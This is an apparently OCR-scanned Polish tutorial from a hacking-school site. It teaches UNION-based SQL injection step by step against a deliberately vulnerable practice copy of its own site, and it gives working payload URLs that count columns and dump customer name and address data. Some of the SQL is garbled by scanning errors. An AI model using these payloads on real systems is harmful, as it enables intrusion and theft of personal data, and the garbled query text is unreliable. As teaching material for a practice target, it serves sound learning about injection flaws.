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Artykul ten opisuje technike przeprowadzenia ataku typu SQL Injection (wstrzykniecie kodu
SQL).

W celu samodzielnego przeprowadzenia opisanego ataku, zapraszamy na strone
www.hackme.szkolahakerow.pl. Zostala ona specjalnie przygotowana do tego, aby kazdy bez
obaw i calkowicie legalnie mogt sprawdzié, jak dziala SQL Injection w praktyce.

Przestrzegamy przed wykorzystywaniem informacji tu zawartych na innych stronach
internetowych.

Proby pozyskania informacji dla Ciebie nie przeznaczonych, w szczegolno$ci informacji
niejawnych, sa przestepstwem!

SzkolaHakerow.pl ani autor publikacji nie ponosza odpowiedzialnoéci za niezgodne z prawem
wykorzystanie informacji zawartych w niniejszym artykule.

Niniejszy material ma charakter edukacyjny.

Uwaga: Formularz zamoéwienia zestawu edukacyjnego Szkola Hakeréw

na stronie www.hackme.szkolahakerow.pl zostal wylaczony ze wzgledow
bezpieczenstwa.

Jezeli chcesz zamowic zestaw, skorzystaj ze strony
www.szkolahakerow.pl

© www.SzkolaHakerow.pl
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Atak SQL Imjection. Troche teorii, troche praktyki.

W wiekszoéci przypadkow, zawarto$¢ stron internetowych jest generowana dynamicznie. Znaczy
to, ze ich tre$¢ nie znajduje sie w pliku (.html), lecz pobierana jest z bazy danych, odpowiednio sortowana
i wySwietlana uzytkownikowi na stronie. Dzieki temu, bez zadnego problemu internauta zobaczy na
stronie to co chce, lub to, co my chcemy mu pokazaé. Strona (skrypt) komunikuje sie z baza danych za
pomoca przeznaczonego do tego celu jezyka: SQL.

Przykladem tego typu konstrukcji sa systemy newséw na stronach www. Dzieki temu, ze
wiadomoéci s przechowywane w bazie danych a nie w statycznych plikach, mamy duza swobode, jesli
chodzi o ich prezentacje uzytkownikowi.

W zaleznoéci od tego, co uzytkownik chce w danej chwili zobaczy¢ (na przyklad: najnowsze
wiadomoéci, tylko wiadomosci z wybranego dnia czy moze tez ostatnich 20 wiadomosci), skrypt na naszej
stronie generuje w jezyku SQL odpowiednie zapytanie do bazy danych, a ta zwraca mu wiadomoéci
speiajace podane kryteria.

W ten sposob dzialajg portale, fora dyskusyjne, sklepy internetowe oraz wiekszoé¢ stron, ktore
odwiedzaja Internauci.

Idea dynamicznego generowania zapytan SQL jest - jak widaé - niezwykle pozyteczna. Jednak
drugg strong medalu jest to, iz przy pisaniu skryptow generujacych zapytania do bazy, programisci dosé
czesto popehiaja bledy. Nawet drobne pomytki i niedopatrzenia przy pisaniu kodu, czesto sa przyczyna
powstawania "luk", ktore moga zosta¢ wykorzystane przez hakera.

Wyobraz sobie, jakie dane moze "wyciagnac¢" z bazy haker, jezeli znajdzie sposéb na wyslanie
dowolnego zapytania do bazy: loginy, hasla, dane osobowe, numery kart kredytowych... i co tylko w bazie
sie znajduje.

To wlasnie umozliwiaja ataki typu SQL Injection (wstrzykniecie kodu SQL).

SQL Injection wykorzystuje bledy programistyczne, ktére umozliwiaja nam "wstrzykniecie" czy
"doklejenie" wlasnego zapytania SQL w taki sposdb, ze traktowane jest ono jak gdyby bylo zapytaniem,
ktore generuje skrypt strony. Dzieki temu "przechodzi ono niezauwazone", a skrypt "nieSwiadomie"
wy$wietla nam dane, ktérych nie powinienni$my zobaczy¢.

Jaki$ czas temu, zostal przeprowadzony udany atak typu SQL Injection na strone internetowa
www.szkolahakerow.pl. W pierwszej czeSci tego artykulu wyjasnimy sobie na przykladach, na czym
polega pewien wariant tego ataku, natomiast w czeSci drugiej wspdlnie przeprowadzimy skuteczny atak

na strone www.hackme.szkolahakerow.pl

W efekcie naszego ataku, uzyskamy dostep do bazy zawierajacej dane fikcyjnych klientow.

Uwaga: strona www.hackme.szkolahakerow.pl jest KOPIA serwisu www.szkolahakerow.pl, przygotowana specjalnie
do tego, aby kazdy mogl samodzielnie przeprowadzi¢ atak. Sam serwis www.szkolahakerow.pl zostal zabezpieczony
przed tego typu atakami.
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Kto pyta, nie bladzi...

Wyobrazmy sobie taka sytuacje: skrypt php (nasza przykladowa strona www), wysyla do bazy
danych nastepujacy komunikat:

Wyslij mi rekordy tabeli 'news', w ktorych pole id jest mniejsze od 20.
Baza zwraca zgdane informacje, a strona ma dane do wy$wietlenia.

Dla przypomnienia, tabele baz danych wygladaja mniej wiecej tak (przykladowa tabela news):

id tytul tresc autor
1 nasza stronarusza to nie jest istotne.. adrin
3 pierwszy 1000 tresc newsa kasia

uZythownil dw

g nowy partner nasze] | jeszoze jednego admin
firmny

14 otrzymalismy nagrode itd. Aania

17 nowe arty kuty itp. tomel:

21 forurn wystartowato hiurra, rary forum andrzej

23 to quz rok talk tak, to juz rok adrin

Nasz skrypt, zazadal od bazy danych, aby wyslala mu te wiersze tabeli news, w ktorych pole 'id' ma
warto$¢ mniejsza od 20. Baza zwrdci pola o id rownym 1,3,5,14,17. No dobrze, to bylo proste, ale co z tego?

Glowna zaleta jezykéw skryptowych takich jak php, jest mozliwoé¢ generowania stron
dynamicznych, tj. na zgdanie. Dzieki temu, mozemy wys$wietli¢ uzytkownikowi doktadnie to, co chce
zobaczy¢.



Zalozmy, ze chcemy da¢ odwiedzajacym nasza strone mozliwo$¢ ogladania archiwum newsoéw, od
wybranego newsa wstecz. Uzyskamy to, wstawiajac do zapytania zaprezentowanego powyzej id newsa,
wprowadzony przez uzytkownika. Nasze zapytanie przybierze nastepujaca postaé:

“Wyslij mi rekordy tabeli mews', w ktorych pole id jest mniejsze od [tutaj wstawimy warto$¢ podang
przez uzytkownika]”.

W jezyku SQL (uzywanym w komunikacji z baza danych), nasze zapytanie ma postac:

SELECT * FROM news WHERE 1id < $wartos$¢_podana_przez_uzytkownika

(za pomoca znaku $ w php oznaczamy zmienne — jezeli przed tym zapytaniem nadamy zmiennej
warto$¢_podana_przez_uzytkownia pewna warto$¢, php wstawi ja do naszego zapytania zamiast
'$warto$¢_podana_przez_uzytkownika'.)

Jak do tej pory wszystko wyglada prawidlowo. Ale czy na pewno? Jeéli sie chwile zastanowimy,
dojdziemy do wniosku, ze uzytkownik moze poda¢ dowolny cigg znakoéw, poniewaz nasz skrypt nie
sprawdza czy wprowadzone przez uzytkownika dane to liczba.

PomySlmy, co sie stanie w przypadku, gdy uzytkownik zamiast oczekiwanego 'id' skonstruuje
koncowke zapytania tak:

“O 1 dorzué¢ mi do tego wszystkie rekordy z tabeli dane klientow”.
Nasze zapytanie do bazy przyjmie wiec postaé:

“Wyslij mi rekordy tabeli news', w ktérych pole id jest mniejsze od O i dorzué mi do tego wszystkie
rekordy z tabeli dane klientow”.

W jezyku SQL:

SELECT * FROM "news  WHERE 'id < O UNION SELECT * FROM_ _ )
dane_kTientow

Jak widaé w tym przypadku, sytuacja nie wyglada juz tak jak to sobie zaplanowali$my.
Oczywistym staje sie, ze baza nie zwroci zadnych danych z tabeli news (nie ma rekordow o 'id' mniejszym
od 0), za to zgodnie z zagdaniem, wySle nam zawarto$¢ tabeli dane_klientow. Wszystko byloby dobrze
gdyby nie to, ze wcale nie mamy ochoty sie nimi dzieli¢...

Przedstawiona powyzej sytuacja zostala troche uproszczona, aby przyblizy¢ samg idee dzialania
atakow klasy sql injection (wstrzykniecie kodu sql). Jezyk sql naklada na nas troche ograniczen, ale jak
wiadomo - dla chcacego nic trudnego, wiec bez wiekszych problemoéw sobie z nimi poradzimy.



Pierwszym problemem jaki mozemy napotkac to fakt, iz baza danych (w tym wypadku MySQL,
cho¢ tyczy sie to wszystkich baz opartych o jezyk SQL) wymaga, aby ilo$¢ pdl w laczonych tabelach (my
chcemy polaczy¢ tabele news i dane_klientéw) byla taka sama. Jest to dosé logiczne, gdyz w wypadku, w
ktorym pierwsza tabela ma 4 pola, a druga na przyklad 5 pdl, nie wiadomo, co nalezaloby wstawi¢ w 5
kolumnie przy wierszach z pierwszej tabeli.

Na szczeScie jezyk sql pozwala nam precyzyjnie okreslic jakie dane chcemy otrzymac.
Przyktadowo, mozemy wyslta¢ do bazy zapytanie:

“Z tabeli 'dane_ klientow' wyslij mi pola imie,nazwisko,ulica,miasto ze wszystkich rekordéw”
w jezyku sql:

SELECT imie,nazwisko,ulica,miasto FROM "dane_klientow"

I problem rozwigzany. Z obu tabel odczytujemy po 4 wiersze, wiec wszystko sie zgadza.

Kolejna przeszkoda ktérag mozemy napotkaé, to nieznajomos$¢ iloéci pol w tabeli, z ktorej skrypt
pobiera dane (pamietajmy, ze szukajac bledéw na stronie, nie wiemy jak dokladnie wyglada zapytanie do
bazy, a co za tym idzie, nie wiemy ile p6l musi mie¢ tabela, ktérg chcemy dolaczy¢ do rezultatu
zwracanego przez baze).

I na ten problem jest do$¢ prosty sposob. Jezyk sql umozliwia nam sortowanie zwracanych
wynikow. Przykladowo, mozemy wysla¢ do bazy nastepujace zapytanie:

"Wyslij mi wszystkie rekordy z tabeli 'news' posortowane wgq. pola tytut, rosngco"

w jezyku sql:
SELECT * FROM news  ORDER BY tytul  ASC

ASC - rosngco, DESC - malejaco. Baza zwr6ci nam tabele news, posortowang alfabetycznie (tj. pierwszy
bedzie rekord zawierajacy tytul na np. litere A, drug na B itd.). Wiedzac ze kolumna tytul jest druga,
mozemy sformulowaé nasze zapytanie nastepujaco:

Wyslij mi wszystkie rekordy z tabeli mews' posortowane wg. drugiej kolumny rosngco

w sql:
SELECT * FROM 'news' ORDER BY 2 ASC

Co z tego? Mala podpowiedz: jezeli wyslemy do bazy zapytanie nakazujace posortowaé zwracang
tabele wedlug 15 kolumny, a tabela ma tylko 4 kolumny, to baza zwrdci blad, zamiast danych; tym
sposobem mozemy sie dowiedzie¢, ile kolumn ma tabela: sprawdzajac kolejno czy da sie ja sortowaé po
1,2,3... kolumnie; w przypadku duzych tabel, gdy przykladowo przy sortowaniu po 10 kolumnie, baza
nadal zwraca dane (co $wiadczy o tym ze 10 kolumna istnieje), skuteczniej bedzie sprawdzaé, czy istnieje -
powiedzmy - 50 kolumna; jezeli nie, sprawdzamy czy istnieje 25; jezeli nie, to czy istnieje 12; jezeli za$ tak
to czy istnieje (50+25)/2 ~ 35 itd. w zaleznoSci od tego czy baza zwrdci dane czy tez nie.

Istotnym faktem, ktory nalezy mie¢ na uwadze jest to, iz wprowadzana przez nas warto$¢ moze sie znalezé
w §rodku zapytania. Rozpatrzmy nastepujace zapytanie:



Wyslij mi wszystkie rekordy z tabeli mews', w ktorych 'id' jest mniejsze od [wartosé¢ podana przez
uzytkownika], posortowanq po tytule rosnqco:

SELECT * FROM news WHERE 1id < $wartos$c¢_podana_przez_uzytkownika
ORDER BY title ASC

Jezeli podaliby§my nasz fragment zapytania (np. ' 1 posortuj wg. 5 kolumny' — 1 ORDER BY 5 ASC), to
baza zwrdcila by blad (dwa razy wystepuje nakaz sortowania i nie jest jasne, wedlug ktorej kolumny ma
sortowac).

Trikiem, ktéorym postuzymy sie aby obejé¢ ten problem, bedzie uzycie znaku rozpoczynajacego
komentarz. W przypadku jezyka sql jest to ' —— ' lub ' /* '. Dla os6b, ktére nigdy nie programowaly:
komentarz jest to fragment tekstu zawarty w kodzie programu, ale nie wplywajacy w zaden sposéb na
jego dzialanie. Charakterystyczne dla komentarzy jest to, ze s3 one odpowiednio oznaczone, dzieki czemu
podczas wykonywania programu sa one po prostu ignorowane.

O to wlasnie chodzi w naszym przypadku: chcemy aby czes$¢ zapytania nastepujaca po wprowadzonych
przez nas danych zostala zignorowana. Jezeli baza nie zwrocila danych po wprowadzeniu warunku
sortowania dla 1 kolumny (1 ORDER BY 1), nalezy na koncu naszego zapytania postawi¢ znacznik
rozpoczynajacy komentarz (' -- 'lub ' /* '), aby dalsza cze$é zostala zignorowana. Nasze nowe
zapytanie (po dodaniu symbolu komentarza bedzie wyglada¢ nastepujaco:

SELECT * FROM news WHERE id <1 ORDER BY 1 -- ORDER BY title ASC)

Teraz bez problemu mozemy sprawdzi¢ ile kolumn ma nasza tabela, do ktorej “doklejamy”.

Troche techniki, troche intuicji

No dobrze, wiemy juz jak pobra¢ dane z innej tabeli, wiemy ile pol powinni§my pobraé, ale nie
wiemy jeszcze, jak nazywaja sie pola, ktére chcemy sobie obejrzeé, oraz jak nazywa sie tabela, w ktorej sie
znajduja. Wbrew pozorom to jedna z najtrudniejszych czeéci ataku sql injection. Sytuacja, w ktorej nazwy
pol i tabel mozna odczytac z innej tabeli (specjalne tabele przechowujgce strukture bazy danych) zdarzaja
sie tak rzadko, ze nie bedziemy tu opisywaé tego wariantu. Pozostaje nam zgadywaé jak nazywajg sie
poszczegoblne pola i tabela, ktora je zawiera — w konicu wiemy chyba co chcemy odezytaé, albo...

...zrodlo strony. Whrew pozorom zrédto strony, ktore jest dostepne dla kazdego odwiedzajacego,
moze czesto zawiera¢ bardzo cenne informacje, takie jak nazwy pdl w tabeli. Gdzie ich szukac?
Formularze (np. zamowienia) stworzone za pomoca jezyka html, wygladaja np. Tak:

<FORM name="zamowienie" METHOD=POST
ACTION="1index.php?what=zamowienie"
onsubmit="return validateForm(this) ;">
<input type="hidden" name="stepl" value="1">
<input type="hidden" name="prom" value="0">
Imie: <input type=text name=imie>
Nazwisko: <input type=text name=nazwisko>
Ulica i nr domu: <input type=text
value="Ulica i numer domu/mieszkania" name=ulica>
Miasto: <input type=text name=miasto>

Istnieje spore prawdopodobienstwo, ze pola w tabeli beda mialy ta3 samg nazwe, co pola
formularza (imie, nazwisko, ulica, miasto itd.)



No dobrze, umiemy juz pozna¢ wymagang ilo$é pol, udato nam sie tez odgadnaé¢ badz znalez¢ ich
nazwy, ale mimo wszystko podczas naszego ataku, na stronie wyswietla sie tylko jedno pole.

Przyktadowo: dowiedzieliSmy sie, ze tabela z newsami ma 4 pola, wprowadziliémy parametr id o wartosci:

0 UNION SELECT 1imie, nazwisko, ulica, miasto FROM zamowienia --

ale na stronie wys$wietlaja sie jedynie miasta, natomiast reszta danych nie jest widoczna. Co na to
poradzié¢?

Rozbudowany jezyk sql znowu przychodzi nam z pomoca. Podczas wykonywania zapytan zamiast
pola z tabeli, mozemy podaé funkcje. Przyktadowo:

SELECT imie,nazwisko, NOW() FROM 'news'

zwroci tabele zawierajaca 3 kolumny: w pierwszej imie z tabeli news, w drugiej nazwisko z tej samej
tabeli, a w trzeciej aktualng godzine na serwerze (zwrdcong przez funkcje NOW()).

Za pomocg funkcji CONCAT(), mozemy sklei¢ dowolne pola ze zwracanego rekordu.
CONCAT(imie, nazwisko)

zwroci np. JanKowalski. Aby uczyni¢ dane bardziej czytelnymi, przy naszym “sklejaniu”, miedzy pola,
wstawimy znak Srednika (';'). Poniewaz serwer moze filtrowa¢ znaki apostrofu uzyjemy jeszcze jeden
funkcji: CHAR(kod znaku). CHAR(59) ma to samo znaczenie co ' ; ' z tym ze nie uzywamy apostrofow,
ktére moga by¢ filtrowane. Wpisujac:

SELECT CONCAT(imie,CHAR(59),nazwisko,CHAR(59),ulica,CHAR(59),miasto)
FROM 'news'

uzyskamy tabele z jedng kolumng zawierajacg przykladowo:
Jan;Kowalski;Modra 14;Warszawa.

Pola w tabelach maja z gory okreslony typ danych jakie przechowuja (np. tekst, liczby, daty itd.).
Jezeli robimy wszystko jak nalezy, a na stronie nic sie nie wySwietla lub wy$wietla sie blad,
prawdopodobne jest, ze pole w ktérym chcemy otrzymaé nasze dane jest innego typu niz to w pierwszej
tabeli (do ktorej doklejamy).

Jezeli chcemy aby w 2 kolumnie baza zwrdcila nam tekst, to druga kolumna pierwszej tabeli musi by¢
tego samego typu, w innym wypadku nastgpi blad.

Dzieki temu ze NULL (czyli zero), moze wystepowa¢ w polu kazdego typu, mozemy troche
poeksperymentowaé i odnalez¢ pole, w ktérym mozemy odebrac tekst. Zapytanie pierwsze (pogrubienie
oznacza fragment podany przez nas):

SELECT * FROM 'news' WHERE id < O UNION SELECT
CONCAT(imie,CHAR(59),nazwisko,CHAR(59),
ulica,CHAR(59),miasto),
NULL,NULL,NULL,NULL --

prawdopodobnie nie zwrdci zadnych danych. Przeanalizujmy je:

Wyslij wszystkie rekordy z tabeli news gdzie pole 'id' jest mniejsze od 0 i dorzué do tego nastepujqce
pola: w polu pierwszym, zwroé polgczone imie i ; i nazwisko i ; i ulica i ; i miasto, w polu drugim
NULL, w polu trzecim NULL, w polu czwartym NULL



Wiemy juz, ze tabela ma 4 kolumny. Sprobujmy wiec wystaé nasz tekst w drugim polu:

SELECT * FROM 'news' WHERE id <0 UNION SELECT NULL,
CONCAT(imie,CHAR(59),nazwisko,CHAR(59),ulica,CHAR(59),miasto),NULL, NULL --

Nadal doklejamy tabele z 4 polami, jednak w tym wypadku, nasz tekst bedzie sie znajdowaé¢ w drugim
polu, a nie - jak poprzednio - w pierwszym.

Tym razem na stronie powinniémy zobaczy¢ nasze upragnione dane (poniewaz 2 kolumna jest typu
tekstowego).

Jezeli nie udaloby sie to nam, musieliby$Smy "przesuwaé" nasz tekst (NULL, NULL, CONCAT(...), NULL
itd.).

Istnieje oczywiécie duzo o wiele bardziej zaawansowanych technik wstrzykiwania kodu sql, ale
wszystkie opieraja sie na tych samych zasadach, wiec dalsze eksperymenty nie powinny sprawiaé¢ juz
problemu.

Nalezy pamietaé, zZe najczestszym miejscem, w ktore mozna wstrzyknaé¢ kod sql sa parametry (np. w
adresie strony), w ktérych podaje sie liczby. W ten wlasnie sposéb haker dostal sie do bazy Szkoly
Hakerow — wstrzykujac kod w adresie:

http://hackme.szkolahakerow.pl/?move=back&od=-1%20UNION%20SELECT%20 .......
(%20 to spacja)

Wlasne eksperymenty mozna prowadzi¢ pod adresem http://hackme.szkolahakerow.pl.

"Hakujemy" strone Szkoly Hakerow

Na podstawie przedstawionych powyzej informacji, sprobujemy teraz przeprowadzi¢ atak na

http://hackme.szkolahakerow.pl. Jest ona wierng kopia strony www.szkolahakerow.pl sprzed kilku
tygodni.

Zaczniemy od znalezienia parametru, ktéry nie jest prawidlowo sprawdzany, a co za tym idzie,
pozwala na wstrzykniecie kodu do zapytania sql. Zgodnie z tym co napisalem wecze$niej, poszukamy
parametrow, ktére powinny by¢ liczba; aby sprawdzié, czy dany parametr nie jest odpowiednio
filtrowany, obok liczby dodamy znak ' (apostrof). Jezeli wySwietlona strona bedzie sie rézni¢ od tej, ktora
zobaczyliSmy podajagc prawidlowy parametr, prawdopodobnie znalezlismy dobry punkt do
przeprowadzenia ataku.

Na poczatku sprawdzmy jak zachowa sie skrypt, gdy zmienimy parametr przy wys$wietlaniu
pojedynczego newsa:

http://hackme.szkolahakerow.pl/index.php?fnc=single&id=40"'&what=news

Jak wida¢, nic sie nie zmienilo, wiec parametr id jest poprawnie filtrowany. Sprobujmy teraz zajrze¢ do
archiwum newsow: klikamy "<< Poprzednie" na dole strony.

W pasku adresu przegladarki dodajemy nieliczbowy znak ' do parametru:
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http://hackme.szkolahakerow.pl/?move=back&od=18"

i naszym oczom ukazuje sie piekny komunikat o bledzie w zapytaniu sql (nie na kazdym serwerze
zobaczymy komunikat, ale strona wynikowa praktycznie zawsze bedzie sie r6zni¢ od tej bez '):

Warning: mysql fetch array(): supplied argument is not a valid MySQL result resource in
/srv/www/htdocs/webSl/html/news/pokaz archiwum.php on line 27

Przykro mi, brak newsow ;(

Tloé¢ wiadomosci w archiwum: 18.

Warning: mysql fetch array(): supplied argument is not a valid MySQL result resource in
/stv/www/htdocs/web51/html/news/pokaz_archiwum.php on line 50

Skoro wiemy juz gdzie bedziemy wstrzykiwa¢ kod, musimy sie teraz zastanowi¢, jakie informacje
chcemy wyciagna¢ z bazy. Ciekawym pomystem byloby uzyskanie dostepu do danych klientow, dlatego
tez sprobujmy odgadna¢ jak nazywa sie tabela z tymi danymi.

Pierwszym krokiem bedzie stworzenie poprawnego zapytania, z wstrzyknietym kodem sql.
Poniewaz mozemy sie domysla¢, ze nasz parametr znajduje sie w cze$ci warunkow zapytania (wySwietl
newsy o id mniejszym od itd.), dlatego tez, sprobujemy dodaé¢ nowy warunek:

http://hackme.szkolahakerow.pl/?move=back&od=18 and 1=1
Zapytanie bedzie wygladaé teraz mniej wiecej tak:

wysSwietl newsy z id mniejszym od 18

i dodatkowym warunkiem, ktory musi zosta¢ spemiony:

oraz:1=1

jak wiadomo, taki warunek zawsze bedzie spelniony.

Dopisaliémy warunek, ktéry jest zawsze spelniony po to, aby sprawdzi¢, czy "doklejenie" naszego
wlasnego fragmentu kodu nie spowoduje bledu. Faktycznie - udalo sie. Wiemy teraz, ze w tym miejscu
mozemy wstrzykiwac¢ kod. Teraz pora na kolejny krok.

Jak juz wspomnieli§my weze$niej, musimy okresli¢ ile pol ma tabela. Postepujac zgodnie z powyzszym
opisem, wpisujemy w pasku adresu przegladarki:
http://hackme.szkolahakerow.pl/?move=back&od=18 order by 5/*

Strona nie zwrocila bledu, a wiec wiemy, ze tabela ma 5 kolumne. Sprawdzmy czy ma 10ta:
http://hackme.szkolahakerow.pl/?move=back&od=18 order by 10/*

Jak wida¢ pojawil sie blad, stad prosty wniosek, ze nie ma 10tej kolumny. Moze 7?
http://hackme.szkolahakerow.pl/?move=back&od=18 order by 7/*

Okazuje sie, ze nie. Sprobujmy 6:

http://hackme.szkolahakerow.pl/?move=back&od=18 order by 6/*

Tak! A skoro ma 6, a nie ma 7, to logicznym jest, ze tabela ma dokladnie 6 kolumn.



Zastanowmy sie teraz nad nazwg tabeli z danymi zamawiajacych klientow. Tutaj zgadujemy. Logicznym
wydaje sie nazwanie takiej tabeli "zamowienia". Sprawdzmy:
http://hackme.szkolahakerow.pl/?move=back&od=18 union select
NULL,NULL,NULL,NULL,NULL,NULL from zamowienia/*

Strona nie zwrdcila bledu, wiec znamy juz nazwe tabeli z zamowieniami. Sprawmy teraz, aby newsy nie
byly wy$wietlane:

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,NULL,NULL,NULL,NULL,NULL from zamowienia/*

Nie ma newséw o id mniejszym od O, a o takie wlasnie poprosiliémy baze (&od=0). Zadne newsy wiec
nie bedg wyswietlone.

Poszukajmy teraz nazw po6l zamoéwienia. W tym celu przyjrzyjmy sie zrodhu strony, na ktérej mozna
sktada¢ zamowienia i odnajdzmy tam formularz do tego stuzacy.

Jak wida¢, poszczegolne pola nazywajg sie:

imie, nazwisko, ulica, miasto

Sprobujmy wiec je wy$wietli¢, aby sprawdzié czy pola w tabeli nazywaja sie tak samo:

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,imie,NULL,NULL,NULL,NULL from zamowienia/*

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,nazwisko,NULL,NULL,NULL,NULL from zamowienia/*

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,uTica,NULL,NULL,NULL,NULL from zamowienia/*

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,miasto,NULL,NULL,NULL,NULL from zamowienia/*

Skoro juz znamy nazwy pol i tabeli, polaczmy je w pojedyncze pole, tak jak zostalo to opisane wcze$nie;:

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL ,CONCAT(imie,char(59),nazwisko,char(59),ulica,char(59),miasto),NULL,NULL,
NULL,NULL from zamowienia/*

Gratuluje!

Jezeli zrobite§ wszystko jak nalezy, to wlasnie przeprowadzite$ udany atak sql injection na strone Szkoty
Hakeréw. Twoim oczom powinny sie ukazaé¢ dane klientow w miejscu, gdzie wySwietlane sa newsy.
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